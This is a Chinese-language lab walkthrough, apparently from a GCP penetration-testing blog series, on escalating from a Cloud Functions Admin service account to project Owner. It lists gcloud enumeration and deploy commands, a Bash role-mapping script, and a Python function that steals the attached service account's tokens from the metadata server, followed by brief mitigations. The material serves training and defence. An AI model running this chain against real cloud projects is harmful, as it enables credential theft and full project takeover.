GCP权限提升:滥用Function Admin角色实现完整项目接管
在之前的文章中,我们从无角色的服务账户instance-mgmt-srv-acc提升权限到对存储桶具有只读权限的默认服务账户。这使我们能够读取和下载存储桶内容。
如果你想知道为什么默认服务账户拥有Editor角色却只有只读访问权限,请查看上一篇文章中的IAM策略更新。已添加限制以降低风险。
在今天的实验中,我们将详细介绍读取这些存储桶如何帮助我们发现易受攻击的Cloud Function的源代码,以及这最终如何导致完整项目接管。
我们将使用CyberWarFare Labs的Google Cloud Red Team Specialist (CGRTS)培训进行此演示。这是一个优秀的实验,涵盖了许多真实的GCP攻击场景。
目录
- 所需工具
- 利用步骤
- 缓解策略
- 参考资料
- GCP渗透测试系列
所需工具
对于此实验,您需要在测试机器上安装gcloud CLI。您可以直接从Google Cloud安装它,或使用RedCloud-OS - 这是CWL创建的VMware机器,预装了云渗透测试评估(GCP、Azure、AWS)的所有基本工具。
安装选项
- 安装gcloud CLI | Google Cloud CLI文档
- RedCloud-OS | GitHub
所需权限
- 具有Cloud Functions Admin权限的服务账户访问权限(用于修改和部署函数)
- 使用特权服务账户运行的目标函数,例如具有roles/owner角色的服务账户
利用步骤
在此实验中,我们访问了一个名为function-admin-srv-acc的服务账户,该账户具有cloud functions admin角色。我们通过查看函数的源代码,找到正确的输入参数,并调用函数来窃取其访问令牌来实现这一点。
现在,我们将看到如何使用这些权限来提升我们的访问权限并成为项目所有者。我们将通过修改函数的代码来获取附加到函数的访问令牌,该令牌具有roles/owner角色。
1. 枚举IAM策略
每当我们获得对新服务账户的访问权限时,第一步是检查其分配的角色:
1
2
3
4
|
gcloud projects get-iam-policy [PROJECT NAME] \
--flatten="bindings[].members" \
--filter="bindings.members=serviceaccount:[SERVICE-ACCOUNT]" \
--format="value(bindings.role)"
|
我们可以看到function-admin-srv-acc账户分配了一个自定义角色:FunctionAdminlzg。
自定义角色通常遵循命名约定,以项目名称开头,后跟角色名称,如:
1
|
projects/[PROJECT-NAME]/roles/[ROLE-NAME]
|
这与预定义角色(如roles/owner)不同,后者遵循以下格式:
自定义角色通常是为了提供细粒度控制而创建的,仅授予目标用户所需的特定权限。
2. 枚举可用函数并检查IAM策略
下一步是使用functions list命令列出项目中的可用函数:
我们已经在本系列的第1篇文章中攻陷了network-mgmt-function,在第2篇文章中攻陷了function-mgmt-function - 请查看这些文章以更好地了解我们如何到达这一点。
现在我们的目标是resource-mgmt-function。为了收集更多信息,我们使用describe命令检索其元数据:
1
|
gcloud functions describe [FUNCTION NAME]
|
从函数元数据中,有两个有趣的发现:
- 它是一个HTTP触发的函数 - 意味着我们可以使用curl或访问其URL来调用它。
- 该函数在默认服务账户下运行,该账户通常具有Editor角色,除非权限受到限制。(查看IAM更新)
了解这一点后,我们可以在以下步骤中利用该函数。
3. 检查服务账户的IAM策略
由于我们从被攻陷的服务账户function-admin-srv-acc获得了cloudfunctions.functions.update权限,我们可以更新函数的配置 - 包括其元数据,如名称、描述和附加的服务账户。
这意味着我们可以用具有更高权限(如roles/owner)的另一个服务账户替换函数的当前服务账户,以提升我们的访问权限。
要检查分配给服务账户的角色,我们首先配置环境以使用正确的项目,然后列出所有可用的服务账户:
1
2
3
4
5
|
# 设置默认项目
gcloud config set project [PROJECT ID]
# 验证当前项目配置
gcloud config get-value project
|
接下来,列出项目中的所有服务账户:
1
|
gcloud iam service-accounts list
|
要检查分配给每个账户的角色,并识别任何比附加到resource-mgmt-function的默认账户具有更多权限的账户,我们可以手动运行以下命令:
1
2
3
4
|
gcloud projects get-iam-policy [PROJECT-NAME] \
--flatten="bindings[].members" \
--filter="bindings.members=serviceaccount:SERVICE-ACCOUNT" \
--format="value(bindings.role)"
|
或者,我们可以使用Bash脚本自动化此过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
#!/bin/bash
# 确保用户已认证
gcloud auth list --format="value(account)" >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo "You need to authenticate first using 'gcloud auth login'"
exit 1
fi
# 提示用户输入项目ID
read -p "Enter the GCP Project ID (leave blank to use the default project): " PROJECT_ID
# 如果用户未提供项目ID,使用默认项目
if [ -z "$PROJECT_ID" ]; then
PROJECT_ID=$(gcloud config get-value project 2>/dev/null)
fi
# 检查PROJECT_ID是否仍为空
if [ -z "$PROJECT_ID" ]; then
echo "No project ID provided or set. Use 'gcloud config set project PROJECT_ID' to set one."
exit 1
fi
echo -e "\nFetching service accounts for project: $PROJECT_ID..."
echo "-----------------------------------------------"
# 获取指定项目的所有服务账户
SERVICE_ACCOUNTS=$(gcloud iam service-accounts list --project="$PROJECT_ID" --format="value(email)")
if [ -z "$SERVICE_ACCOUNTS" ]; then
echo "No service accounts found in project: $PROJECT_ID"
exit 0
fi
# 遍历每个服务账户并列出角色和权限
for SA in $SERVICE_ACCOUNTS; do
echo -e "\nService Account: $SA"
# 获取IAM策略(角色)并将其格式化为单行
ROLES=$(gcloud projects get-iam-policy "$PROJECT_ID" \
--flatten="bindings[].members" \
--format="value(bindings.role)" \
--filter="bindings.members:$SA" | tr '\n' ',' | sed 's/,$//')
if [ -z "$ROLES" ]; then
echo "Assigned Roles: None"
else
echo "Assigned Roles: $ROLES"
fi
echo "-----------------------------------------------"
done
echo "DONE"
|
在下面的输出中,我们看到服务账户列表及其分配的角色。在这里,我们确定project-admin-srv-acc具有roles/owner权限!这为我们提供了一个可以绑定到resource-mgmt-function的更高权限服务账户。
我们可以进一步优化脚本,循环遍历自定义角色,检索其权限,甚至添加颜色以提高可读性。我已将脚本添加到GitHub - GCP存储库:
https://github.com/nairuzabulhul/gcp-service-account-mapper
4. 更新函数元数据
我们将附加到函数的服务账户更新为project-admin-srv-acc,该账户在项目中具有Owner角色。
为此,我们运行gcloud functions deploy命令,传递函数的源代码和function-mgmt-srv-acc的访问令牌(我们已经攻陷)来更新函数的设置。
我们在之前的文章中获得了函数源代码,当时我们获得了对存储桶具有只读OAuth范围的默认服务账户的访问权限。
以下是部署命令:
1
2
3
4
5
6
7
|
gcloud functions deploy [CLOUD_FUNCTION_NAME] \
--region=[ZONE] \
--trigger-http \
--source=[LOCATION_OF_MAIN_FILE] \
--entry-point=[FUNCTION_NAME] \
--service-account=[SERVICE_ACCOUNT] \
--access-token-file=[ACCESS_TOKEN]
|
运行deploy命令时需要考虑以下几点:
- 主要源文件必须命名为main.py、main.js或main.java等。
- –source标志应指向包含函数代码的目录。
- –entry-point是在主要源文件中定义的函数名称。
如下所示,我们成功运行了deploy命令,并将函数的服务账户更新为project-admin-srv。
5. 更新函数源代码
由于我们的服务账户function-admin-srv-acc具有admin角色,该账户在角色分配中已包含cloudfunctions.functions.sourceCodeSet权限。通过此权限,我们可以修改函数的代码并提取附加服务账户project-admin-srv的访问令牌。
以下是用于获取令牌的Python代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
import json
from urllib.request import Request, urlopen
def access_token(request):
request_json = request.get_json()
req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token')
req.add_header('Metadata-Flavor', 'Google')
token = json.loads(urlopen(req).read())
req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=32555940559.apps.googleusercontent.com')
req.add_header('Metadata-Flavor', 'Google')
token["identity"] = urlopen(req).read().decode("utf-8")
return json.dumps(token)
|
首先,确保function-admin-srv-acc服务账户具有新的访问令牌,因为它会在1小时后过期。您可以通过触发我们之前攻陷的函数来获取令牌:
1
2
3
|
curl -X POST "https://us-central1-cgcrts-staging.cloudfunctions.net/function-mgmt-function?action=token" \
-H "Content-Type: application/json" \
-d '{}'
|
获得令牌后,使用新代码部署更新的函数:
1
2
3
4
5
6
7
|
gcloud functions deploy resource-mgmt-function \
--region=us-central1 \
--trigger-http \
--source=/home/cwl/Documents/gcp_lab/resource-mgmt-function \
--entry-point=access_token \
--service-account=project-admin-srv-acc@cgcrts-staging.iam.gserviceaccount.com \
--access-token-file=function_token.txt
|
然后部署后,调用更新的函数以检索访问令牌:
1
2
3
|
gcloud functions call resource-mgmt-function \
--data '{}' \
--access-token-file=function_token.txt
|
最后,验证访问令牌是否属于project-admin-srv-acc账户:
1
|
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken
|
缓解策略
为了减少通过配置错误的Function Admin角色或过度许可的服务账户进行权限提升的风险,请考虑以下最佳实践:
- 仅授予所需的最小权限集。避免将Editor或Owner等角色分配给默认服务账户。
- 使用仅包含服务账户目的所需权限的自定义角色。除非必要,否则不要添加过度特权的权限,如cloudfunctions.sourceCodeSet、cloudfunctions.functions.update或iam.serviceAccounts.actAs。
- 审计现有的Cloud Functions,并停用那些已弃用或未使用的函数。
此实验突显了如何滥用有限的权限(如通过配置错误的Function Admin角色授予的权限)来提升权限并危及整个GCP项目。
通过将IAM策略枚举、Cloud Function滥用和服务账户模拟链接在一起,我们演示了导致roles/owner的完整权限提升路径。
至此,我们已经到达本文的结尾。请继续关注下一篇文章!
参考资料
- Google Cloud Red Team Specialist [CGRTS]
- GCP渗透测试系列
- 使用配置错误的IAM策略窃取Cloud Function访问令牌[GCP]
- 滥用计算实例IAM错误配置在GCP中获取权限
- GCP权限提升:滥用Function Admin角色实现完整项目接管